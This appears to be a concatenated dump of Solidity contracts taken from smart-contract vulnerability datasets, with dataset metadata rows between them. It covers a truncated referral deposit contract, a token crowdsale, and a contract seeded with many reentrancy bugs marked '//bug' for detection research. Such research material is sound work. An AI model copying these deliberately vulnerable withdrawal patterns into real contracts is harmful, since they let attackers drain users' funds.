token.safeTransfer(marketingAddress, marketingFee);
token.safeTransfer(platformAddress, platformFee);
emit FeePayed(msg.sender, marketingFee.add(platformFee));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 5; i++) {
if (upline != address(0)) {
uint amount = depAmount.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
if (i == 0 && users[upline].rbackPercent > 0) {
refbackAmount = amount.mul(uint(users[upline].rbackPercent)).div(PERCENTS_DIVIDER);
token.safeTransfer(msg.sender, refbackAmount);
emit RefBack(upline, msg.sender, refbackAmount);
amount = amount.sub(refbackAmount);
}
if (amount > 0) {
token.safeTransfer(upline, amount);
users[upline].bonus = uint128(uint(users[upline].bonus).add(amount));
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint128(depAmount), 0, uint128(refbackAmount), uint32(block.timestamp)));
totalInvested = totalInvested.add(depAmount);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, depAmount);
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint128(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = token.balanceOf(address(this));
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = uint32(block.timestamp);
token.safeTransfer(msg.sender, totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function setRefback(uint16 rbackPercent) public {
require(rbackPercent <= 10000);
User storage user = users[msg.sender];
if (user.deposits.length > 0) {
user.rbackPercent = rbackPercent;
}
}
function getContractBalance() public view returns (uint) {
return token.balanceOf(address(this));
}
function getContractBalanceRate() internal view returns (uint) {
uint contractBalance = token.balanceOf(address(this));
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(5));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn)).add(uint(user.deposits[i].refback));
}
return amount;
}
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, getContractBalance(), contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint16, uint16, uint128, uint24[5] memory) {
User storage user = users[userAddress];
return (user.referrer, user.rbackPercent, users[user.referrer].rbackPercent, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
interface ITRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeTRC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(ITRC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(ITRC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function callOptionalReturn(ITRC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeTRC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeTRC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)), "SafeTRC20: TRC20 operation did not succeed");
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 299,612 | 10,983 |
3e5b014d46c16618917bd47972ba14f7c6b40838861ac8ab912911b5b8a0bbf2
| 10,404 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0xd0df293593912a594b790137ff3b7a296ec33f42.sol
| 2,392 | 9,815 |
pragma solidity ^0.4.18;
// **-----------------------------------------------
// MoyToken Open Distribution Smart Contract.
// 30,000,000 tokens available via unique Open Distribution.
// POWTokens Contract @ POWToken.eth
// Open Dsitribution Opens at the 1st Block of 2018.
// All operations can be monitored at etherscan.io
// -----------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/issues/20
// -------------------------------------------------
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
}
contract safeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
safeAssert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
safeAssert(b > 0);
uint256 c = a / b;
safeAssert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
safeAssert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
safeAssert(c>=a && c>=b);
return c;
}
function safeAssert(bool assertion) internal pure {
if (!assertion) revert();
}
}
contract StandardToken is owned, safeMath {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract MoyTokenOpenDistribution is owned, safeMath {
// owner/admin & token reward
address public admin = owner; //admin address
StandardToken public tokenContract; // address of MoibeTV MOY ERC20 Standard Token.
// deployment variables for static supply sale
uint256 public initialSupply;
uint256 public tokensRemaining;
// multi-sig addresses and price variable
address public budgetWallet; // budgetMultiSig for PowerLineUp.
uint256 public tokensPerEthPrice; // set initial value floating priceVar.
// uint256 values for min,max,caps,tracking
uint256 public amountRaised;
uint256 public fundingCap;
// loop control, startup and limiters
string public CurrentStatus = ""; // current OpenDistribution status
uint256 public fundingStartBlock; // OpenDistribution start block#
uint256 public fundingEndBlock; // OpenDistribution end block#
bool public isOpenDistributionClosed = false; // OpenDistribution completion boolean
bool public areFundsReleasedToBudget= false; // boolean for MoibeTV to receive Eth or not, this allows MoibeTV to use Ether only if goal reached.
bool public isOpenDistributionSetup = false; // boolean for OpenDistribution setup
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Buy(address indexed _sender, uint256 _eth, uint256 _MOY);
mapping(address => uint256) balancesArray;
mapping(address => uint256) fundValue;
// default function, map admin
function MoyOpenDistribution() public onlyOwner {
admin = msg.sender;
CurrentStatus = "Tokens Released, Open Distribution deployed to chain";
}
// total number of tokens initially
function initialMoySupply() public constant returns (uint256 tokenTotalSupply) {
tokenTotalSupply = safeDiv(initialSupply,100);
}
// remaining number of tokens
function remainingSupply() public constant returns (uint256 tokensLeft) {
tokensLeft = tokensRemaining;
}
// setup the OpenDistribution parameters
function setupOpenDistribution(uint256 _fundingStartBlock, uint256 _fundingEndBlock, address _tokenContract, address _budgetWallet) public onlyOwner returns (bytes32 response) {
if ((msg.sender == admin)
&& (!(isOpenDistributionSetup))
&& (!(budgetWallet > 0))){
// init addresses
tokenContract = StandardToken(_tokenContract); //MoibeTV MOY tokens Smart Contract.
budgetWallet = _budgetWallet; //Budget multisig.
tokensPerEthPrice = 1000; //Regular Price 1 ETH = 1000 MOY.
fundingCap = 3;
// update values
amountRaised = 0;
initialSupply = 30000000;
tokensRemaining = safeDiv(initialSupply,1);
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
// configure OpenDistribution
isOpenDistributionSetup = true;
isOpenDistributionClosed = false;
CurrentStatus = "OpenDistribution is setup";
//gas reduction experiment
setPrice();
return "OpenDistribution is setup";
} else if (msg.sender != admin) {
return "Not Authorized";
} else {
return "Campaign cannot be changed.";
}
}
function setPrice() public { //Verificar si es necesario que sea pblica.
if (block.number >= fundingStartBlock && block.number <= fundingStartBlock+11520) { // First Day 300% Bonus, 1 ETH = 3000 MOY.
tokensPerEthPrice = 3000;
} else if (block.number >= fundingStartBlock+11521 && block.number <= fundingStartBlock+46080) { // First Week 200% Bonus, 1 ETH = 2000 MOY.
tokensPerEthPrice = 2000; //Regular Price for All Stages.
} else if (block.number >= fundingStartBlock+46081 && block.number <= fundingStartBlock+86400) { // Second Week 150% Bonus, 1 ETH = 1500 MOY.
tokensPerEthPrice = 2000; //Regular Price for All Stages.
} else if (block.number >= fundingStartBlock+86401 && block.number <= fundingEndBlock) { // Regular Sale, final price for all users 1 ETH = 1000 MOY.
tokensPerEthPrice = 1000; //Regular Price for All Stages.
}
}
// default payable function when sending ether to this contract
function () public payable {
require(msg.data.length == 0);
BuyMOYTokens();
}
function BuyMOYTokens() public payable {
require(!(msg.value == 0)
&& (isOpenDistributionSetup)
&& (block.number >= fundingStartBlock)
&& (block.number <= fundingEndBlock)
&& (tokensRemaining > 0));
// 1. vars
uint256 rewardTransferAmount = 0;
// 2. effects
setPrice();
amountRaised = safeAdd(amountRaised,msg.value);
rewardTransferAmount = safeDiv(safeMul(msg.value,tokensPerEthPrice),1);
// 3. interaction
tokensRemaining = safeSub(tokensRemaining, safeDiv(rewardTransferAmount,1));
tokenContract.transfer(msg.sender, rewardTransferAmount);
// 4. events
fundValue[msg.sender] = safeAdd(fundValue[msg.sender], msg.value);
Transfer(this, msg.sender, msg.value);
Buy(msg.sender, msg.value, rewardTransferAmount);
}
function budgetMultiSigWithdraw(uint256 _amount) public onlyOwner {
require(areFundsReleasedToBudget && (amountRaised >= fundingCap));
budgetWallet.transfer(_amount);
}
function checkGoalReached() public onlyOwner returns (bytes32 response) { // return OpenDistribution status to owner for each result case, update public constant.
// update state & status variables
require (isOpenDistributionSetup);
if ((amountRaised < fundingCap) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) { // OpenDistribution in progress waiting for hardcap.
areFundsReleasedToBudget = false;
isOpenDistributionClosed = false;
CurrentStatus = "OpenDistribution in progress, waiting to reach goal.";
return "OpenDistribution in progress.";
} else if ((amountRaised < fundingCap) && (block.number < fundingStartBlock)) { // OpenDistribution has not started.
areFundsReleasedToBudget = false;
isOpenDistributionClosed = false;
CurrentStatus = "OpenDistribution is setup";
return "OpenDistribution is setup";
} else if ((amountRaised < fundingCap) && (block.number > fundingEndBlock)) { // OpenDistribution ended, total not achieved.
areFundsReleasedToBudget = false;
isOpenDistributionClosed = true;
CurrentStatus = "OpenDistribution is Over.";
return "OpenDistribution is Over";
} else if ((amountRaised >= fundingCap) && (tokensRemaining == 0)) { // Distribution ended, all tokens gone.
areFundsReleasedToBudget = true;
isOpenDistributionClosed = true;
CurrentStatus = "Successful OpenDistribution.";
return "Successful OpenDistribution.";
} else if ((amountRaised >= fundingCap) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) { // OpenDistribution ended.
areFundsReleasedToBudget = true;
isOpenDistributionClosed = true;
CurrentStatus = "Successful OpenDistribution.";
return "Successful OpenDistribution";
} else if ((amountRaised >= fundingCap) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) { // OpenDistribution in progress, objetive achieved!
areFundsReleasedToBudget = true;
isOpenDistributionClosed = false;
CurrentStatus = "OpenDistribution in Progress, Goal Achieved.";
return "Goal Achieved.";
}
setPrice();
}
}
| 210,182 | 10,984 |
76d607594dc5be00d665f8948c880d9823ae65efe29e27cedb811d3abb670af5
| 19,435 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
experiments/ge-sc-data/source_code/reentrancy/buggy_curated/buggy_20.sol
| 4,568 | 15,736 |
pragma solidity ^0.5.10;
contract Ownable {
mapping(address => uint) balances_re_ent21;
function withdraw_balances_re_ent21 () public {
(bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])("");
if (success)
balances_re_ent21[msg.sender] = 0;
}
address public owner;
mapping(address => uint) userBalance_re_ent40;
function withdrawBalance_re_ent40() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)=msg.sender.call.value(userBalance_re_ent40[msg.sender])("");
if(! success){
revert();
}
userBalance_re_ent40[msg.sender] = 0;
}
event OwnerChanged(address oldOwner, address newOwner);
constructor() internal {
owner = msg.sender;
}
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)("");
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
modifier onlyOwner() {
require(msg.sender == owner, "only the owner can call this");
_;
}
function changeOwner(address _newOwner) external onlyOwner {
owner = _newOwner;
emit OwnerChanged(msg.sender, _newOwner);
}
address payable lastPlayer_re_ent37;
uint jackpot_re_ent37;
function buyTicket_re_ent37() public{
if (!(lastPlayer_re_ent37.send(jackpot_re_ent37)))
revert();
lastPlayer_re_ent37 = msg.sender;
jackpot_re_ent37 = address(this).balance;
}
}
contract Stoppable is Ownable {
mapping(address => uint) userBalance_re_ent12;
function withdrawBalance_re_ent12() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if(! (msg.sender.send(userBalance_re_ent12[msg.sender]))){
revert();
}
userBalance_re_ent12[msg.sender] = 0;
}
bool public isActive = true;
mapping(address => uint) userBalance_re_ent33;
function withdrawBalance_re_ent33() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent33[msg.sender])("");
if(! success){
revert();
}
userBalance_re_ent33[msg.sender] = 0;
}
event IsActiveChanged(bool _isActive);
modifier onlyActive() {
require(isActive, "contract is stopped");
_;
}
function setIsActive(bool _isActive) external onlyOwner {
if (_isActive == isActive) return;
isActive = _isActive;
emit IsActiveChanged(_isActive);
}
mapping(address => uint) balances_re_ent3;
function withdrawFunds_re_ent3 (uint256 _weiToWithdraw) public {
require(balances_re_ent3[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)("");
require(success); //bug
balances_re_ent3[msg.sender] -= _weiToWithdraw;
}
}
contract RampInstantPoolInterface {
uint16 public ASSET_TYPE;
function sendFundsToSwap(uint256 _amount)
public returns(bool success);
}
contract RampInstantEscrowsPoolInterface {
uint16 public ASSET_TYPE;
function release(address _pool,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash)
external;
address payable lastPlayer_re_ent9;
uint jackpot_re_ent9;
function buyTicket_re_ent9() public{
(bool success,) = lastPlayer_re_ent9.call.value(jackpot_re_ent9)("");
if (!success)
revert();
lastPlayer_re_ent9 = msg.sender;
jackpot_re_ent9 = address(this).balance;
}
function returnFunds(address payable _pool,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash)
external;
mapping(address => uint) redeemableEther_re_ent25;
function claimReward_re_ent25() public {
// ensure there is a reward to give
require(redeemableEther_re_ent25[msg.sender] > 0);
uint transferValue_re_ent25 = redeemableEther_re_ent25[msg.sender];
msg.sender.transfer(transferValue_re_ent25); //bug
redeemableEther_re_ent25[msg.sender] = 0;
}
}
contract RampInstantPool is Ownable, Stoppable, RampInstantPoolInterface {
uint256 constant private MAX_SWAP_AMOUNT_LIMIT = 1 << 240;
uint16 public ASSET_TYPE;
mapping(address => uint) redeemableEther_re_ent11;
function claimReward_re_ent11() public {
// ensure there is a reward to give
require(redeemableEther_re_ent11[msg.sender] > 0);
uint transferValue_re_ent11 = redeemableEther_re_ent11[msg.sender];
msg.sender.transfer(transferValue_re_ent11); //bug
redeemableEther_re_ent11[msg.sender] = 0;
}
address payable public swapsContract;
mapping(address => uint) balances_re_ent1;
function withdraw_balances_re_ent1 () public {
(bool success,) =msg.sender.call.value(balances_re_ent1[msg.sender ])("");
if (success)
balances_re_ent1[msg.sender] = 0;
}
uint256 public minSwapAmount;
bool not_called_re_ent41 = true;
function bug_re_ent41() public{
require(not_called_re_ent41);
if(! (msg.sender.send(1 ether))){
revert();
}
not_called_re_ent41 = false;
}
uint256 public maxSwapAmount;
uint256 counter_re_ent42 =0;
function callme_re_ent42() public{
require(counter_re_ent42<=5);
if(! (msg.sender.send(10 ether))){
revert();
}
counter_re_ent42 += 1;
}
bytes32 public paymentDetailsHash;
bool not_called_re_ent27 = true;
function bug_re_ent27() public{
require(not_called_re_ent27);
if(! (msg.sender.send(1 ether))){
revert();
}
not_called_re_ent27 = false;
}
event ReceivedFunds(address _from, uint256 _amount);
mapping(address => uint) balances_re_ent31;
function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public {
require(balances_re_ent31[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent31[msg.sender] -= _weiToWithdraw;
}
event LimitsChanged(uint256 _minAmount, uint256 _maxAmount);
bool not_called_re_ent13 = true;
function bug_re_ent13() public{
require(not_called_re_ent13);
(bool success,)=msg.sender.call.value(1 ether)("");
if(! success){
revert();
}
not_called_re_ent13 = false;
}
event SwapsContractChanged(address _oldAddress, address _newAddress);
constructor(address payable _swapsContract,
uint256 _minSwapAmount,
uint256 _maxSwapAmount,
bytes32 _paymentDetailsHash,
uint16 _assetType)
public
validateLimits(_minSwapAmount, _maxSwapAmount)
validateSwapsContract(_swapsContract, _assetType)
{
swapsContract = _swapsContract;
paymentDetailsHash = _paymentDetailsHash;
minSwapAmount = _minSwapAmount;
maxSwapAmount = _maxSwapAmount;
ASSET_TYPE = _assetType;
}
mapping(address => uint) userBalance_re_ent19;
function withdrawBalance_re_ent19() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if(! (msg.sender.send(userBalance_re_ent19[msg.sender]))){
revert();
}
userBalance_re_ent19[msg.sender] = 0;
}
function availableFunds() public view returns (uint256);
mapping(address => uint) userBalance_re_ent26;
function withdrawBalance_re_ent26() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent26[msg.sender])("");
if(! success){
revert();
}
userBalance_re_ent26[msg.sender] = 0;
}
function withdrawFunds(address payable _to, uint256 _amount)
public returns (bool success);
bool not_called_re_ent20 = true;
function bug_re_ent20() public{
require(not_called_re_ent20);
if(! (msg.sender.send(1 ether))){
revert();
}
not_called_re_ent20 = false;
}
function withdrawAllFunds(address payable _to) public onlyOwner returns (bool success) {
return withdrawFunds(_to, availableFunds());
}
mapping(address => uint) redeemableEther_re_ent32;
function claimReward_re_ent32() public {
// ensure there is a reward to give
require(redeemableEther_re_ent32[msg.sender] > 0);
uint transferValue_re_ent32 = redeemableEther_re_ent32[msg.sender];
msg.sender.transfer(transferValue_re_ent32); //bug
redeemableEther_re_ent32[msg.sender] = 0;
}
function setLimits(uint256 _minAmount,
uint256 _maxAmount) public onlyOwner validateLimits(_minAmount, _maxAmount) {
minSwapAmount = _minAmount;
maxSwapAmount = _maxAmount;
emit LimitsChanged(_minAmount, _maxAmount);
}
mapping(address => uint) balances_re_ent38;
function withdrawFunds_re_ent38 (uint256 _weiToWithdraw) public {
require(balances_re_ent38[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent38[msg.sender] -= _weiToWithdraw;
}
function setSwapsContract(address payable _swapsContract) public onlyOwner validateSwapsContract(_swapsContract, ASSET_TYPE) {
address oldSwapsContract = swapsContract;
swapsContract = _swapsContract;
emit SwapsContractChanged(oldSwapsContract, _swapsContract);
}
mapping(address => uint) redeemableEther_re_ent4;
function claimReward_re_ent4() public {
// ensure there is a reward to give
require(redeemableEther_re_ent4[msg.sender] > 0);
uint transferValue_re_ent4 = redeemableEther_re_ent4[msg.sender];
msg.sender.transfer(transferValue_re_ent4); //bug
redeemableEther_re_ent4[msg.sender] = 0;
}
function sendFundsToSwap(uint256 _amount)
public returns(bool success);
function releaseSwap(address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash) external onlyOwner {
RampInstantEscrowsPoolInterface(swapsContract).release(address(this),
_receiver,
_oracle,
_assetData,
_paymentDetailsHash);
}
uint256 counter_re_ent7 =0;
function callme_re_ent7() public{
require(counter_re_ent7<=5);
if(! (msg.sender.send(10 ether))){
revert();
}
counter_re_ent7 += 1;
}
function returnSwap(address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash) external onlyOwner {
RampInstantEscrowsPoolInterface(swapsContract).returnFunds(address(this),
_receiver,
_oracle,
_assetData,
_paymentDetailsHash);
}
address payable lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
if (!(lastPlayer_re_ent23.send(jackpot_re_ent23)))
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
function () external payable {
revert("this pool cannot receive ether");
}
uint256 counter_re_ent14 =0;
function callme_re_ent14() public{
require(counter_re_ent14<=5);
if(! (msg.sender.send(10 ether))){
revert();
}
counter_re_ent14 += 1;
}
modifier onlySwapsContract() {
require(msg.sender == swapsContract, "only the swaps contract can call this");
_;
}
modifier isWithinLimits(uint256 _amount) {
require(_amount >= minSwapAmount && _amount <= maxSwapAmount, "amount outside swap limits");
_;
}
modifier validateLimits(uint256 _minAmount, uint256 _maxAmount) {
require(_minAmount <= _maxAmount, "min limit over max limit");
require(_maxAmount <= MAX_SWAP_AMOUNT_LIMIT, "maxAmount too high");
_;
}
modifier validateSwapsContract(address payable _swapsContract, uint16 _assetType) {
require(_swapsContract != address(0), "null swaps contract address");
require(RampInstantEscrowsPoolInterface(_swapsContract).ASSET_TYPE() == _assetType,
"pool asset type doesn't match swap contract");
_;
}
}
contract RampInstantEthPool is RampInstantPool {
address payable lastPlayer_re_ent2;
uint jackpot_re_ent2;
function buyTicket_re_ent2() public{
if (!(lastPlayer_re_ent2.send(jackpot_re_ent2)))
revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
uint16 internal constant ETH_TYPE_ID = 1;
constructor(address payable _swapsContract,
uint256 _minSwapAmount,
uint256 _maxSwapAmount,
bytes32 _paymentDetailsHash)
public
RampInstantPool(_swapsContract, _minSwapAmount, _maxSwapAmount, _paymentDetailsHash, ETH_TYPE_ID)
{}
address payable lastPlayer_re_ent30;
uint jackpot_re_ent30;
function buyTicket_re_ent30() public{
if (!(lastPlayer_re_ent30.send(jackpot_re_ent30)))
revert();
lastPlayer_re_ent30 = msg.sender;
jackpot_re_ent30 = address(this).balance;
}
function availableFunds() public view returns(uint256) {
return address(this).balance;
}
mapping(address => uint) balances_re_ent8;
function withdraw_balances_re_ent8 () public {
(bool success,) = msg.sender.call.value(balances_re_ent8[msg.sender ])("");
if (success)
balances_re_ent8[msg.sender] = 0;
}
function withdrawFunds(address payable _to,
uint256 _amount) public onlyOwner returns (bool success) {
_to.transfer(_amount); // always throws on failure
return true;
}
mapping(address => uint) redeemableEther_re_ent39;
function claimReward_re_ent39() public {
// ensure there is a reward to give
require(redeemableEther_re_ent39[msg.sender] > 0);
uint transferValue_re_ent39 = redeemableEther_re_ent39[msg.sender];
msg.sender.transfer(transferValue_re_ent39); //bug
redeemableEther_re_ent39[msg.sender] = 0;
}
function sendFundsToSwap(uint256 _amount) public onlyActive onlySwapsContract isWithinLimits(_amount) returns(bool success) {
swapsContract.transfer(_amount); // always throws on failure
return true;
}
mapping(address => uint) balances_re_ent36;
function withdraw_balances_re_ent36 () public {
if (msg.sender.send(balances_re_ent36[msg.sender ]))
balances_re_ent36[msg.sender] = 0;
}
function () external payable {
require(msg.data.length == 0, "invalid pool function called");
if (msg.sender != swapsContract) {
emit ReceivedFunds(msg.sender, msg.value);
}
}
uint256 counter_re_ent35 =0;
function callme_re_ent35() public{
require(counter_re_ent35<=5);
if(! (msg.sender.send(10 ether))){
revert();
}
counter_re_ent35 += 1;
}
}
| 132,873 | 10,985 |
846f44efab9fc8d04975875d7764f3e4d89f36d212ab51d517c83167b975a514
| 30,019 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/e6/e6b430e688b76ac89588c587cf8d35e96df88b15_Frostbite.sol
| 3,394 | 12,614 |
